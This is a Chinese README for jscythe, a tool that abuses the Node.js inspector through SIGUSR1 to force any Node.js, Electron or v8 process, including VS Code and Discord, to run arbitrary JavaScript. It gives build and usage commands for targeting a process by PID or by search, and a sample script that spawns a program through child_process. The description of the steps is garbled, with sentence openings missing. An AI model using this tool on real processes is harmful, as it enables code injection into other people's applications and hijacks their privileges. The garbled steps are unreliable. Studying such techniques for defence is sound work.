jscythe 滥用 Node.js 的检查器机制,以强制任何基于 Node.js/Electron/v8 的进程执行任意 JavaScript 代码,即使其调试功能已被禁用。

已在 Visual Studio Code、Discord、任何 Node.js 应用程序等环境中测试并运行!
SIGUSR1 信号,这将在某个端口上启用调试器(具体端口取决于软件,有时是随机的,有时是固定的)。SIGUSR1 前后的开放端口差异,确定调试端口。http://localhost:<port>/json 获取 WebSocket 调试 URL 和会话 ID。Runtime.evaluate 请求。cargo build --release
针对特定进程并执行基本表达式:
./target/release/jscythe --pid 666 --code "5 - 3 + 2"
从文件中执行代码:
./target/release/jscythe --pid 666 --script example_script.js
example_script.js 可以引用任何 Node 模块并执行任意代码,例如:
require('child_process').spawnSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator', { encoding : 'utf8' }).stdout
按表达式搜索进程:
./target/release/jscythe --search extensionHost --script example_script.js
运行 jscythe --help 查看完整选项列表。
本项目由 @evilsocket 倾心制作,并以 GPL3 许可证发布。